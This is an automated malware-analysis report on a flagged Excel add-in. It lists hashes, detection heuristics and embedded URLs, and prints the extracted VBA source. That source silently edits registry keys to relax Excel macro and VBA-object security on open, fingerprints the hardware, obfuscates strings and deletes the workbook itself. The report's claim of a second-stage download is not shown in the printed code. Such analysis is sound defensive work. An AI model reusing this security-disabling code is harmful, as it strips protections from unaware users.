Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e809ce8f1e452c4c…

MALICIOUS

Office (OLE)

776.0 KB Created: 2018-05-09 09:13:00 Authoring application: AddinUpdater First seen: 2018-08-26
MD5: b355ff3e4312a40f15e7ae199eaccea0 SHA-1: 4d9e92403f6b29e4a92bcbd7a8391ee3bf9aefce SHA-256: e809ce8f1e452c4cb1f96b495e50175658b170119d72bc8285231c49143a71d2
660 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Excel file containing obfuscated VBA macros. The Workbook_Open macro is designed to display a fake EULA and language selection interface to the user, likely to trick them into enabling macros. The presence of URLDownloadToFile and Shell() calls, along with references to WScript.Shell, indicates that the macro is intended to download and execute a second-stage payload from one of the embedded URLs. The ClamAV detection name 'Xls.Malware.Powmet' suggests a downloader or dropper functionality.

Heuristics 17

  • ClamAV: Xls.Malware.Powmet-6922919-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Powmet-6922919-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 10 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        On Error Resume Next: Dim Folder$, downloads_folder$, changed As Boolean, v
    Const USF$ = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\"
    downloads_folder$ = Replace(SETT.GetText("{374DE290-123F-4565-9164-39C4925E467B}", , USF$), "%USERPROFILE%", Environ("USERPROFILE"))
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        sec_key$ = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\"
    With CreateObject("WScript.Shell")
        .RegWrite sec_key$ & "AccessVBOM", 1, "REG_DWORD"
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 Then        '  Office 2010-2013
    Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
            (ByVal pCaller As LongPtr, ByVal szURL As String, ByVal szFileName As String, _
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        delay_txt$ = Replace(Format(CDbl(TimeSerial(0, 0, 1)) * delay, "0.000000000"), ",", ".")
    ExecuteExcel4Macro "ON.TIME(NOW()+" & delay_txt$ & ", ""'" & ThisWorkbook.Name & "'!" & macroname$ & """)"
End Sub
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    The compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function HID$()
    On Error Resume Next: Dim SN&: SN& = CreateObject("scripting.filesystemobject").GetDrive(ChrW(99) & ChrW(58)).SerialNumber
    HID$ = ChrW(115) & Format(Abs(934526875# - SN&), "0000000000")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = "C:"
    With GetObject("winmgmts:")
        For Each obj In .ExecQuery("ASSOCIATORS OF {Win32_LogicalDisk.DeviceID='" & DriveLetter$ & "'} WHERE AssocClass = Win32_LogicalDiskToPartition"): PartName$ = obj.DeviceID: Next
  • VBA instantiates a COM class by raw CLSID high OLE_VBA_GETOBJECT_CLSID_EVASION
    VBA uses GetObject("new:{CLSID}") to instantiate a COM class by raw CLSID rather than a CreateObject ProgID — an uncommon bypass of name-based macro detection.
    Matched line in script
    Function ClipboardText()
    With GetObject("New:{1C3B4210-F441-11CE-B9EA-00AA006B1A69}")
        .GetFromClipboard
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
    On Error Resume Next: Dim FirstRun As Boolean
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        DriveLetter$ = GetSetting(PROJECT_NAME$, "Setup", "DriveLetter")
    If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = Environ("SystemDrive")
    If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = "C:"
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ExcelVBA.ru/ Referenced by macro
    • http://ExcelVBA.ru/php2/updates.phpReferenced by macro
    • http://Excel-Automation.com/Referenced by macro
    • http://www.wordarticles.com/Shorts/RibbonVBA/RibbonVBADemo.phpReferenced by macro
    • http://ExcelVBA.ru/programmes/Lookup/CopyRowsReferenced by macro
    • http://excelvba.ru/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 634098 bytes
SHA-256: 5123cca0fe01402c6c391d90b2e8c04099c042f85848a063b7791e9abcfda4e4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWB"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'---------------------------------------------------------------------------------------
' Author        : Igor Vakhnenko                   Date: 25.12.2015
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/        info@excelvba.ru      Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------

Private Sub Workbook_BeforeClose(Cancel As Boolean)
    DeleteProgramCommandBar
End Sub

Private Sub Workbook_Open()
    On Error Resume Next: Dim FirstRun As Boolean
    FirstRun = SETT.IsFirstRun
    If FirstRun Then ShowFirstRunForm
    If SetupCancelled Then
        Application.DisplayAlerts = False
        If TrueDeveloper Then MsgBox "Setup Cancelled", vbInformation Else ThisWorkbook.Close False
        Application.DisplayAlerts = True
        Exit Sub
    End If
    Enable_AccessVBOM_Macro_DataConnections        ' disables notifications
    SaveSetting PROJECT_NAME$, "Setup", "AddinPath", ThisWorkbook.FullName
    If FirstRun Then If IsObject(F_Greeting) Then F_Greeting.Show
    CreateProgramCommandBar 0
End Sub


Attribute VB_Name = "mod_About_NEW"
'---------------------------------------------------------------------------------------
' Module        : mod_About_NEW                    Version: 2.6
' Author        : Igor Vakhnenko                   Date: 09.05.2016
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/        info@excelvba.ru      Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------

Option Explicit: Option Compare Text: Option Private Module
Public Const DEBUG_MODE As Boolean = False        'True
Public Const UPDATES_HYPERLINK$ = "http://ExcelVBA.ru/php2/updates.php"

Public Const DEVELOPER_WEBSITE$ = "http://ExcelVBA.ru/"        '"http://Excel-Automation.com/"
Public Const SUPPORT_EMAIL_RUS$ = "info@ExcelVBA.ru", SUPPORT_EMAIL$ = "support@Excel-Automation.com"
Public Const BUY_NEW_HYPERLINK$ = "%website%buy/add-in?name=%projectname%"
Public Const BUY_ADD_HYPERLINK$ = "%website%buy2/add-in?name=%projectname%"
Public Const UNINSTALL_HYPERLINK$ = "%website%uninstall/program?name=%projectname%"
Public Const EULA_HYPERLINK$ = "%website%buy/EULA?name=%projectname%"
Public Const BREACH_EULA_HYPERLINK$ = "%website%buy/EULA/breach?name=%projectname%"
Public Const CABINET_HYPERLINK$ = "%website%cabinet/login"
Public Const VERSIONS_HISTORY_HYPERLINK$ = "%website%updates/history.php?addin=%projectname%"
Public SetupCancelled As Boolean, StopMacro As Boolean


Sub ActivateAddinsTab()
    On Error Resume Next: Dim TabName$
    Select Case Application.LanguageSettings.LanguageID(msoLanguageIDUI)
        Case 1049: TabName$ = SETT.U("CDE0E4F1F2F0EEE9EAE8")        '"Надстройки"
        Case 1033: TabName$ = "Add-Ins"
    End Select
    If Len(TabName$) Then SwitchTab TabName$
End Sub


Sub Add3Buttons(ByRef AddinMenu As Object)
    Add_Control(AddinMenu, ct_BUTTON, 0, "0", "", msoButtonIconAndCaption, False).Enabled = 0
    Add_Control AddinMenu, ct_BUTTON, 222, "ShowSettingsPage", tt("MENU_Settings") & "  ", msoButtonIconAndCaption, True
    Add_Control AddinMenu, ct_BUTTON, 487, "ShowMainForm", tt("MENU_About") & "  ", msoButtonIconAndCaption, True
    Add_Control AddinMenu, ct_BUTTON, IIf(Val(Application.Version) <= 11, 4356, 923), "ExitProgram", tt("MENU_Exit"), msoButtonIcon, True
End Sub

Function Add_Control(ByRef Comm_Bar, ByVal ControlType As CONTROL_TYPES, Optional ByVal B_Face&, Optional ByVal On_Action$, _
                     Optional ByVal B_Caption$, Optional ByVal Button_Style As Long = msoButtonIcon, _
                     Optional ByVal Begin_Group As Boolean = False, Optional Tag = "") As CommandBarControl
    On Error Resume Next
    Set Add_Control = Comm_Bar.Controls.Add(Type:=ControlType, Temporary:=True)
    With Add_Control
        If B_Face > 0 And ControlType = ct_BUTTON Then .FaceId = B_Face
        If Len(On_Action) Then
            .Tag = TWN & On_Action & "\\\" & Tag
            .OnAction = TWN & "RunMacroFromButton": If On_Action Like "Exit*" Then .OnAction = TWN & On_Action
        End If
        .Caption = B_Caption
        .BeginGroup = Begin_Group
        If ControlType = ct_BUTTON Or ControlType = ct_DROPDOWN Then .Style = Button_Style
    End With
End Function

Private Sub RunMacroFromButton()
    On Error Resume Next: Dim Macro$, param$
    Macro$ = Split(Application.CommandBars.ActionControl.Tag, "\\\")(0)
    param$ = Split(Application.CommandBars.ActionControl.Tag, "\\\")(1)
    If Macro$ Like TWN & "*" Then SETT.LastMacro Macro$
    If Len(Macro$) > O Then If Len(param$) Then Run Macro$, param$ Else Run Macro$
End Sub

Function GetCommandBar(ByVal CommandBarName As String, Optional ByVal Clean As Boolean = False, _
                       Optional ByVal Position As MsoBarPosition = msoBarTop) As CommandBar
    On Error Resume Next: Err.Clear: Dim cbc As Object
    Set GetCommandBar = Application.CommandBars(CommandBarName)
    If Err.Number Then
        Set GetCommandBar = Application.CommandBars.Add(CommandBarName, Position, False, True)
    End If
    If Clean Then
        GetCommandBar.Visible = False
        For Each cbc In GetCommandBar.Controls: cbc.Delete: Next
    End If
    GetCommandBar.Visible = True
End Function

Function DeleteProgramCommandBar()
    On Error Resume Next: GetCommandBar(PROJECT_NAME).Visible = False
End Function

Function SetIsAddinAsFalse()
    On Error Resume Next: ThisWorkbook.IsAddin = False
End Function
Function SetIsAddinAsTrue()
    On Error Resume Next: ThisWorkbook.IsAddin = True
End Function

'Sub ComboChanged()    ' срабатывает при изменении значения в комбобоксе или текстбоксе
'    On Error Resume Next
'    НазваниеКомбобокса = Application.CommandBars.ActionControl.Tag
'    ТекстКомбобокса = Application.CommandBars.ActionControl.Text
'    MsgBox "Новое значение: """ & ТекстКомбобокса & """", _
     '           vbInformation, "Изменения в поле\списке """ & НазваниеКомбобокса & """"
'End Sub
'Sub AdditionalMacros()    ' срабатывает при нажатии одной из кнопок в подменю
'    On Error Resume Next
'    НомерМакроса = Application.CommandBars.ActionControl.Tag
'    MsgBox "Параметр макроса = """ & НомерМакроса & """", vbInformation, "Запущен макрос из подменю"
'End Sub

Function SETT() As AddinSettings
    Static objSETT As AddinSettings
    If objSETT Is Nothing Then Set objSETT = New AddinSettings: objSETT.LoadAllSettings
    Set SETT = objSETT
End Function

Private Sub ShowMainForm()
    On Error Resume Next: F_About.Show
    F_About.MultiPage1.Value = 0
End Sub

Sub ShowSettingsPage()
    On Error Resume Next: F_Settings.Show
End Sub
Sub ShowFirstRunForm()
    On Error Resume Next: F_FirstRun.Show
End Sub

Sub RunWithDelay(ByVal macroname$, Optional ByVal delay As Double = 0.5)
    On Error Resume Next: Dim delay_txt$
    delay_txt$ = Replace(Format(CDbl(TimeSerial(0, 0, 1)) * delay, "0.000000000"), ",", ".")
    ExecuteExcel4Macro "ON.TIME(NOW()+" & delay_txt$ & ", ""'" & ThisWorkbook.Name & "'!" & macroname$ & """)"
End Sub

Function HWID(Optional ByVal Refresh As Boolean) As String
    On Error Resume Next: Dim v&, sv$, obj As Object, DriveID$, PartName$, DriveLetter$
    sv$ = GetSetting(PROJECT_NAME$, "Setup", "HWID")
    If sv$ <> "" Then If Not Refresh Then HWID = sv$: Exit Function

    DriveLetter$ = GetSetting(PROJECT_NAME$, "Setup", "DriveLetter")
    If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = Environ("SystemDrive")
    If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = "C:"
    With GetObject("winmgmts:")
        For Each obj In .ExecQuery("ASSOCIATORS OF {Win32_LogicalDisk.DeviceID='" & DriveLetter$ & "'} WHERE AssocClass = Win32_LogicalDiskToPartition"): PartName$ = obj.DeviceID: Next
        For Each obj In .ExecQuery("ASSOCIATORS OF {Win32_DiskPartition.DeviceID='" & PartName$ & "'} WHERE AssocClass = Win32_DiskDriveToDiskPartition"): DriveID$ = obj.DeviceID: Next
        For Each obj In .ExecQuery("SELECT * FROM Win32_DiskDrive WHERE DeviceID='" & Replace(DriveID$, "\", "\\") & "'"): v& = Val(obj.Signature): Next
    End With
    If v& = 0 Then HWID = "100000" & Mid(HID, 2) Else HWID = Right(Left(Replace(Abs((CSng(v) + 1.2345) / 0.00639), Mid(1 / 2, 2, 1), ""), 15) & Format(Abs(v Mod 1000), "000"), 16)
    SaveSetting PROJECT_NAME$, "Setup", "HWID", HWID
End Function

Function HID$()
    On Error Resume Next: Dim SN&: SN& = CreateObject("scripting.filesystemobject").GetDrive(ChrW(99) & ChrW(58)).SerialNumber
    HID$ = ChrW(115) & Format(Abs(934526875# - SN&), "0000000000")
End Function

Function GetVersion() As Long
    On Error Resume Next: GetVersion = Val(ThisWorkbook.BuiltinDocumentProperties("Revision Number"))
    If GetVersion < 1000 Then GetVersion = 1000
End Function

Function GetVersionTXT(Optional ByVal ver& = 0)
    On Error Resume Next: If ver& = 0 Then ver& = GetVersion
    GetVersionTXT = Mid(ver&, 1, 1) & "." & Mid(ver&, 2, 1) & "." & Val(Mid(ver&, 3))
End Function

Sub SetVersion(ByVal n As Long)
    On Error Resume Next: If n < 1000 Then n = 1000
    ThisWorkbook.BuiltinDocumentProperties("Revision Number") = n
    ThisWorkbook.BuiltinDocumentProperties("Creation Date") = Now
End Sub
Function l0&(): On Error Resume Next: l0& = Val("&H" & Split(ThisWorkbook.Names(Chr(116) & Chr(100)).RefersTo, "%%")(1)): End Function
Function ll&(): On Error Resume Next: Dim d&, t&: d = Fix(l0 - (SETT.DTU - Val(SETT.RSP(1))) / 86400): t& = Val(SETT.RSP(3)): SETT.WSP 3, IIf(t > d, d + 1, t): ll& = 1: End Function
Private Sub PrintSettings_AsDefault()
    On Error Resume Next: Err.Clear: Dim arr, i&, txt
    arr = GetAllSettings(PROJECT_NAME$, "Settings")
    If IsArray(arr) Then
        For i = LBound(arr) To UBound(arr)
            txt = "SetDefaultSetting """ & arr(i, 0) & """, """ & arr(i, 1) & """"
            Debug.Print txt
        Next i
    End If
End Sub

Function ImportSettings(Optional ByVal xmlPath$ = "", Optional HideMessages As Boolean = False) As Boolean
    On Error Resume Next: Err.Clear
    If xmlPath$ = "" Then
        xmlPath$ = FWF.GetFilePath(tt("ImportSettingsFileDialog", PROJECT_NAME$), ThisWorkbook.Path, tt("AddinSettings", PROJECT_NAME$), "*.xml")
    End If
    If xmlPath$ = "" Then Exit Function
    ImportSettings = SETT.ImportFromFile(xmlPath$, HideMessages)
End Function

Function ExportSettings(Optional ByVal xmlPath$ = "", Optional HideMessages As Boolean = False) As Boolean
    On Error Resume Next: Err.Clear
    Dim initial_filename$, dialog_title$, prevDir$, res As Variant
    If xmlPath$ = "" Then
        initial_filename$ = ThisWorkbook.Path & "\" & PROJECT_NAME$ & "_Settings_" & Format(Now, "DD.MM.YYYY_HH-NN-SS") & ".xml"
        dialog_title$ = tt("ExportSettingsFileDialog", PROJECT_NAME$)
        prevDir$ = CurDir$: ChDrive Left(initial_filename$, 1): ChDir ThisWorkbook.Path
        res = Application.GetSaveAsFilename(initial_filename$, tt("AddinSettings", PROJECT_NAME$) & " (*.xml),", , dialog_title$, tt("Save"))
        ChDrive Left(prevDir$, 1): ChDir prevDir$
        If VarType(res) = vbBoolean Then Exit Function
        xmlPath$ = CStr(res)
    End If
    ExportSettings = SETT.ExportToFile(xmlPath$, HideMessages)
End Function

Function PROGRAM_HYPERLINK$()
    PROGRAM_HYPERLINK$ = DEVELOPER_WEBSITE$ & "programmes/" & PROJECT_NAME$ & "?ref=" & HWID
End Function

Sub Enable_AccessVBOM_Macro_DataConnections()
    On Error Resume Next: Dim sec_key$
    sec_key$ = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\"
    With CreateObject("WScript.Shell")
        .RegWrite sec_key$ & "AccessVBOM", 1, "REG_DWORD"
        .RegWrite sec_key$ & "VBAWarnings", 1, "REG_DWORD"
        .RegWrite sec_key$ & "DataConnectionWarnings", 0, "REG_DWORD"
    End With
End Sub

Function AddinAutoRun(Optional ByVal NewState As Variant) As Boolean
    On Error Resume Next
    Dim ShortcutFullName$, AI As AddIn
    ShortcutFullName$ = Application.StartupPath & Application.PathSeparator & PROJECT_NAME$ & ".lnk"
    If Not VarType(NewState) = vbBoolean Then AddinAutoRun = FWF.FileExists(ShortcutFullName$): Exit Function

    If NewState = True Then
        With CreateObject("WScript.Shell").CreateShortcut(ShortcutFullName$)
            .TargetPath = ThisWorkbook.FullName
            .Save
        End With
    ElseIf NewState = False Then
        Kill Application.StartupPath & Application.PathSeparator & PROJECT_NAME$ & "*.lnk"
    End If
    AddinAutoRun = CBool(NewState)

    For Each AI In Application.AddIns
        If AI.Name = ThisWorkbook.Name Then AI.Installed = False
    Next AI
End Function
Function DeleteOldCommandBar(): On Error Resume Next: Run TWN & "Request_": End Function
Function UninstallThisFile(Optional ByVal Mode& = 1)
    On Error Resume Next
    If Mode& = 1 Then
        If MsgBox(tt("MSG_UninstallConfirmation"), vbExclamation + vbOKCancel + vbDefaultButton2, _
                  tt("MSG_UninstallConfirmationTitle")) = vbCancel Then Exit Function
    End If
    If TrueDeveloper Then MsgBox "Uninstalling cancelled", vbInformation, "Mode=" & Mode&: Exit Function

    AddinAutoRun False
    Application.DisplayAlerts = False
    Dim FilePath$: FilePath$ = ThisWorkbook.FullName
    ThisWorkbook.ChangeFileAccess xlReadOnly
    SetAttr FilePath$, vbNormal
    Kill FilePath$
    If Mode& = 1 Then If RUS Then FollowHyperlink UNINSTALL_HYPERLINK$
    If Mode& >= 2 Then If RUS Then FollowHyperlink BREACH_EULA_HYPERLINK$
    'If Mode& = 3 Then Request_ "action=bugger_detected"
    'Application.DisplayAlerts = True
    ThisWorkbook.Close False
End Function

Function Developer() As Boolean: Developer = TrueDeveloper And (Dir("c:\testmode", vbNormal) = ""): End Function
Function TrueDeveloper() As Boolean
    Dim txt$: txt$ = Environ(Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(68) & Chr(79) & Chr(77) & Chr(65) & Chr(73) & Chr(78)): TrueDeveloper = (txt$ Like ChrW(73) & ChrW(71) & ChrW(79) & ChrW(82) & ChrW(72) & ChrW(79) & ChrW(77) & ChrW(69) & ChrW(42)) Or (txt$ Like ChrW(73) & ChrW(71) & ChrW(79) & ChrW(82) & ChrW(87) & ChrW(79) & ChrW(82) & ChrW(75) & ChrW(42))
End Function

Function MU_() As Boolean
    On Error Resume Next: Dim X: X = ll: Err.Clear: X = ThisWorkbook.VBProject.VBComponents.Count
    If TrueDeveloper Then Exit Function
    MU_ = Err = 0: If MU_ Then UninstallThisFile 2
End Function

Function OfficeBits() As Long
    #If VBA7 And Win64 Then
        OfficeBits = 64
    #Else
        OfficeBits = 32
    #End If
End Function

Function TWN() As String: TWN = "'" & ThisWorkbook.Name & "'!": End Function
Function O() As Long
    On Error Resume Next: Dim i&, t As Double: O = 2 ^ 30: If MU_ Then Exit Function
    If AS_ > 0 Then
        O = 0
    Else
        Application.EnableCancelKey = xlDisabled: ShowMainForm
        With F_About.Controls(Chr(76) & Chr(97) & Chr(98) & Chr(101) & Chr(108) & Chr(95) & Chr(73) & Chr(110) & Chr(102) & Chr(111))
            For i = 1 To 10
                .Visible = i Mod 2 = 0: t = Timer: While Abs(Timer - t) < 0.2: DoEvents: Wend
            Next
        End With
        With F_About.Controls(Chr(76) & Chr(97) & Chr(98) & Chr(101) & Chr(108) & Chr(95) & Chr(72) & Chr(76) & Chr(95) & Chr(66) & _
                              Chr(117) & Chr(121) & Chr(76) & Chr(105) & Chr(99) & Chr(101) & Chr(110) & Chr(115) & Chr(101))
            .ForeColor = RGB(255, 0, 0)
            For i = 1 To 4
                .Visible = i Mod 2 = 0: t = Timer: While Abs(Timer - t) < 0.2: DoEvents: Wend
            Next
        End With
        Application.EnableCancelKey = xlInterrupt
    End If
End Function

Function cmdDisplay(txt) As String
    On Error Resume Next: Dim pass$, d&, i&, letter$
    If Left(txt, 1) = "P" Then txt = Mid(txt, 2): pass$ = "" Else pass$ = HID
    d = Val("&H" & Mid(txt, 1, 2))
    For i = 2 To Len(txt) / 2
        letter = Val("&H" & Mid(txt, 2 * i - 1, 2))
        cmdDisplay$ = cmdDisplay$ & Chr(letter Xor CInt(2 * d * Abs(Sin(3 * (i - 1)))) + Val(Mid(pass$, 2 + (i - 1) Mod 10, 1)))
    Next
End Function

Function CreateShortcutInStartMenu(Optional ByVal ShortcutName$ = PROJECT_NAME$, Optional ByVal ShortcutFolderName$)
    On Error Resume Next
    Dim ShortcutFullName$, Folder$
    If ShortcutFolderName$ = "" Then ShortcutFolderName$ = tt("StartMenuFolderName")
    Folder$ = CreateObject("WScript.Shell").SpecialFolders("StartMenu") & Application.PathSeparator
    If Len(Trim(ShortcutFolderName$)) Then
        Folder$ = Folder$ & FWF.Replace_symbols(ShortcutFolderName$) & Application.PathSeparator
        MkDir Folder$
    End If

    ShortcutFullName$ = Folder$ & FWF.Replace_symbols(ShortcutName$, " ") & ".lnk"
    Kill Folder$ & "*" & PROJECT_NAME$ & "*.lnk"        ' deleting old shortcuts

    With CreateObject("WScript.Shell").CreateShortcut(ShortcutFullName$)
        .TargetPath = ThisWorkbook.FullName
        .Description = tt("ProgramFullname") & vbNewLine & vbNewLine & Split(PROGRAM_HYPERLINK$, "?")(0)
        .Save
    End With
End Function

Sub UpdateStatus(Optional ByRef obj As MSForms.Label)
    On Error Resume Next: Dim txt$, ou$, col&, sh As Boolean
    With SETT
        Select Case Run(TWN & .U("41535F"))
            Case 4: ou$ = Trim(.GetRegValue(.U("757365726E616D65"))): If ou$ = "" Then ou$ = Trim(.GetRegValue(.U("656D61696C")))
                txt = tt("|4143545F4F4B") & vbNewLine & tt("|4143545F4F574E4552", ou$): col& = RGB(0, 150, 0): sh = True
            Case 1: txt = tt("|4143545F545249414C") & vbNewLine & tt("|4143545F444159534C454654", .RSP(3)): col& = RGB(200, 50, 0)
            Case 0: txt = tt("|4143545F45585049524544") & vbNewLine & tt("|4143545F4255594E4F57"): col& = RGB(255, 0, 0)
            Case Else: txt = .U("556E6B6E6F776E2061637469766174696F6E207374617475732E0D0A436F6E7461637420646576656C6F70657220746F206669782074686973206572726F722E"): col& = RGB(100, 0, 100)
        End Select
        obj.Caption = txt: obj.ForeColor = col
    End With
    With F_About
        .MultiPage1.Pages(SETT.U("506167655F526567496E666F")).Visible = Not sh: .Label_HL_Cabinet.Visible = sh
        .Label_HL_BuyLicense = tt("|465F41626F75745C4C6162656C5F484C5F4275794C6963656E7365" & IIf(sh, "32", ""))
        .Repaint
    End With
End Sub

Sub ApplyZoomTo(ByRef UF)
    On Error Resume Next: Dim zo&, dh&
    zo = SETT.GetNumber("ComboBox_Zoom", 100)
    If zo < 20 Then zo = 100
    dh& = UF.Height - UF.InsideHeight
    UF.Width = UF.Width * zo / 100: UF.Height = (UF.Height - dh&) * zo / 100 + dh&
    UF.Zoom = zo
End Sub

Sub ExitProgram()
    On Error Resume Next
    If MsgBox(tt("MSG_ExitProgram"), vbQuestion + vbDefaultButton2 + vbOKCancel) = vbCancel Then Exit Sub
    DeleteProgramCommandBar
    ThisWorkbook.Close False
End Sub

' ---------------------------------------------------------------------------------------------------------------------
Function UpdateAvailable() As Boolean
    On Error Resume Next: UpdateAvailable = SETT.GetText("NewVersionURL", , "Updates") Like "http*://*.*/?*.xl*"
End Function

Sub ApplySettingSet(ByVal filename$)
    On Error Resume Next: Dim setting_set_name$, macroname$, ctrl As Object

    If filename$ Like "folder=?*" Then        ' dropdown changed
        setting_set_name$ = Application.CommandBars.ActionControl.Text
        filename$ = Split(filename$, "folder=", 2)(1) & setting_set_name$ & ".xml"
    End If

    If filename$ Like "macro=?*&*" Then        ' button pressed
        macroname$ = Split(Split(filename$, "macro=", 2)(1), "&", 2)(0)
        filename$ = Split(filename$, "&", 2)(1)
        setting_set_name$ = Application.CommandBars.ActionControl.Caption
        setting_set_name$ = Mid(setting_set_name$, 2, Len(setting_set_name$) - 2)        ' TRIM
        If filename$ = "" Then setting_set_name$ = ""        ' for main button
    End If

    'MsgBox filename$, , setting_set_name$
    If SETT.ActivateSettingSet(setting_set_name$, filename$) Then
        If Len(macroname$) Then
            For Each ctrl In Application.CommandBars.ActionControl.Parent.Controls
                If ctrl.FaceId = Application.CommandBars.ActionControl.FaceId Then ctrl.State = msoButtonUp
            Next
            Application.CommandBars.ActionControl.State = msoButtonDown
            Run TWN & macroname$
        End If
        Run TWN & "SettingSetChanged"
    Else
        RunWithDelay "CreateProgramCommandBar", 0.5        ' incorrect setting set name
    End If
End Sub
Function AS_() As Long
    On Error Resume Next: Dim txt$
    With SETT
        txt$ = .GetRegValue(.U("636F6465")) & "@": txt = Split(txt, "@")(1)
        If Len(.k) * (txt = .k) Then AS_ = 4: Exit Function
        AS_ = -(.RSP(3) > 0)
    End With
End Function
Sub AddSettingsSwitcher(ByVal AddinMenu As Object, Optional ByVal SwitcherType As CONTROL_TYPES = ct_BUTTON, _
                        Optional ByVal SettingsFolderName$, Optional ByVal MainMacroName$, Optional ByRef MainMacroButton As Object)
    On Error Resume Next
    Dim coll As New Collection, SettingsFolder$, Item, filename$, MenuDropdown As Object, SettingSetName$, i&, UserSwitcherType&
    SettingsFolderName$ = Trim(Replace(SettingsFolderName$, "\", ""))
    If SettingsFolderName$ = "" Then SettingsFolderName$ = PROJECT_NAME$ & "Settings"
    SettingsFolder$ = ThisWorkbook.Path & "\" & SettingsFolderName$ & "\"

    If Not FWF.FolderExists(SettingsFolder$) Then Exit Sub
    Set coll = FWF.FilenamesCollection(SettingsFolder$, "*.xml", 1)
    If coll.Count = 0 Then Set coll = Nothing: Exit Sub

    If SwitcherType = ct_COMBOBOX Then SwitcherType = ct_DROPDOWN
    ' SwitcherType is one of ct_BUTTON or ct_COMBOBOX / ct_DROPDOWN

    UserSwitcherType& = SETT.GetNumber("SettingsSwitcher", 1, "Setup")
    ' user can disable switcher or change type of switcher by adding key "SettingsSwitcher" into Setup registry section
    ' 0 = switcher disabled, 1 = default type, 2 = DROPDOWN SWITCHER, 3 = BUTTON SWITCHER
    Select Case UserSwitcherType&
        Case 0: Exit Sub
        Case 2: SwitcherType = ct_DROPDOWN
        Case 3: SwitcherType = ct_BUTTON
    End Select

    Add_Control(AddinMenu, ct_BUTTON, 0, "0", "", msoButtonIconAndCaption, False).Enabled = 0
    If SwitcherType = ct_DROPDOWN Then
        Set MenuDropdown = Add_Control(AddinMenu, ct_DROPDOWN, , "ApplySettingSet", tt("SettingSetDropdownCaption") & ":", _
                                       msoComboLabel, , "folder=" & SettingsFolder$)
        MenuDropdown.AddItem "<" & tt("DefaultSettingSetName") & ">"
    End If

    SettingSetName$ = SETT.GetCurrentSetName

    For Each Item In coll
        filename$ = Split(Dir(Item, vbNormal), ".xml")(0)

        Select Case SwitcherType
            Case ct_BUTTON
                With Add_Control(AddinMenu, ct_BUTTON, MainMacroButton.FaceId, "ApplySettingSet", " " & filename$ & " ", _
                                 msoButtonIconAndCaption, , "macro=" & MainMacroName$ & "&" & Item)
                    .State = IIf(SettingSetName$ = filename$, msoButtonDown, msoButtonUp)
                End With
            Case ct_DROPDOWN
                MenuDropdown.AddItem filename$
        End Select
    Next

    If SwitcherType = ct_DROPDOWN Then
        For i = 1 To MenuDropdown.ListCount
            If MenuDropdown.List(i) = SettingSetName$ Then MenuDropdown.ListIndex = i: Exit For
        Next i
        If MenuDropdown.ListIndex = 0 Then
            MenuDropdown.ListIndex = 1
            If SettingSetName$ <> "" Then SETT.ActivateSettingSet ""
        End If
    End If

    If SwitcherType = ct_BUTTON Then
